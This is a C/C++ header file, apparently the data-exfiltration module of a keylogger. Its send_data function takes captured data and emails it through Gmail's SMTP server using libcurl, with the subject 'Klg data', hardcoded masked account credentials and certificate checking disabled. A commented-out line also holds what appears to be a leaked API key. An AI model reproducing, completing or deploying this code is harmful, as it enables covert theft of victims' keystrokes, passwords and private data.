send_data.h

#ifndef SEND_DATA_H
#define SEND_DATA_H

#define CURL_STATICLIB
#include "curl/include/curl.h"
#include "curl/include/easy.h"

#include "helper_string.h"

#define FROM        "******@gmail.com"
#define TO          "**********@gmail.com"
#define SMTPUSER 	"***********@gmail.com"
#define SMTPPASS    "*********"

//#define SMTPURL  	"smtp://aspmx.l.google.com:25"
//#define SMTPURL  	"smtp://smtp-relay.gmail.com:587"
//#define SMTPURL  	"smtp://smtp-relay.gmail.com:465"
//#define SMTPURL  	"smtp://smtp-relay.gmail.com:25"
#define SMTPURL  	"smtp://smtp.gmail.com:587"
//#define SMTPURL  	"smtp://smtp.gmail.com:465"


struct upload_status {
  int lines_read;
};

static char **payload_text = NULL;



static size_t payload_source(void *ptr, size_t size, size_t nmemb, void *userp)
{
  struct upload_status *upload_ctx = (struct upload_status *)userp;
  const char *data;

  if((size == 0) || (nmemb == 0) || ((size*nmemb) < 1)) {
	return 0;
  }

  data = payload_text[upload_ctx->lines_read];

  if(data) {
	size_t len = strlen(data);
	memcpy(ptr, data, len);
	upload_ctx->lines_read++;

	return len;
  }

  return 0;
}



bool send_data(char* data ){
	
	const char* payload_text_before[] = {
		"To: " TO "\r\n",
		"From: " FROM " (Mr.Bytes)\r\n",
		"Subject: Klg data\r\n",
		"\r\n", /* empty line to divide headers from body, see RFC5322 */
	};
	
	splitted_str parsed_data = str_split(data);

	const char* payload_text_after[] = {
		"EOF\r\n\r\n",
		NULL
	};
	
	unsigned int n_lines_before = sizeof(payload_text_before)/sizeof(*payload_text_before);
	unsigned int n_lines_after = sizeof(payload_text_after)/sizeof(*payload_text_after);
	unsigned int n_lines_data = parsed_data.n_lines;

	
	unsigned int n_lines = n_lines_before + n_lines_after + n_lines_data;
		
	const char *payload_text_const[n_lines];
	
	for(unsigned int i=0;i<n_lines_before;i++)
		payload_text_const[i] = payload_text_before[i];

	for(unsigned int i=0;i<n_lines_data;i++)
		payload_text_const[n_lines_before+i] = parsed_data.str[i];
	
	for(unsigned int i=0;i<n_lines_after;i++)
		payload_text_const[n_lines_before+n_lines_data+i] = payload_text_after[i];
	
	payload_text = (char**)payload_text_const;
	
	//for(int i=0; i<n_lines;i++){
	//	std::cout<<payload_text_const[i]<<std::endl;
	//}

	CURL *curl;
	CURLcode res = CURLE_OK;
	struct curl_slist *recipients = NULL;
	struct upload_status upload_ctx;

	upload_ctx.lines_read = 0;

	curl = curl_easy_init();
	if(curl) {
		curl_easy_setopt(curl, CURLOPT_URL, SMTPURL);
	
		curl_easy_setopt(curl, CURLOPT_USE_SSL, (long)CURLUSESSL_TRY);
		//curl_easy_setopt(curl, CURLOPT_SSLVERSION, CURL_SSLVERSION_TLSv1);
		curl_easy_setopt(curl, CURLOPT_SSL_VERIFYPEER, 0L);
		
		curl_easy_setopt(curl, CURLOPT_USERNAME, SMTPUSER);
		curl_easy_setopt(curl, CURLOPT_PASSWORD, SMTPPASS);
		
		curl_easy_setopt(curl, CURLOPT_MAIL_FROM, FROM);
		recipients = curl_slist_append(recipients, TO);
		curl_easy_setopt(curl, CURLOPT_MAIL_RCPT, recipients);
		
		curl_easy_setopt(curl, CURLOPT_READFUNCTION, payload_source);
		curl_easy_setopt(curl, CURLOPT_READDATA, &upload_ctx);
		curl_easy_setopt(curl, CURLOPT_UPLOAD, 1L);
		
		//curl_easy_setopt(curl, CURLOPT_XOAUTH2_BEARER, "AIzaSyCBzXtRgBAM26WZt6-2utZ6nA_r4x5n_RU");
			
		//curl_easy_setopt(curl, CURLOPT_VERBOSE, 1L);
	
		res = curl_easy_perform(curl);

		if(res != CURLE_OK)
		  fprintf(stderr, "curl_easy_perform() failed: %s\n",
				  curl_easy_strerror(res));
	 
		curl_slist_free_all(recipients);
		curl_easy_cleanup(curl);
			
	}

	// free memory
	for(int i=0; i<parsed_data.n_lines;i++){
		delete parsed_data.str[i];
	}
	delete parsed_data.str;
	
	return true;
}


#endif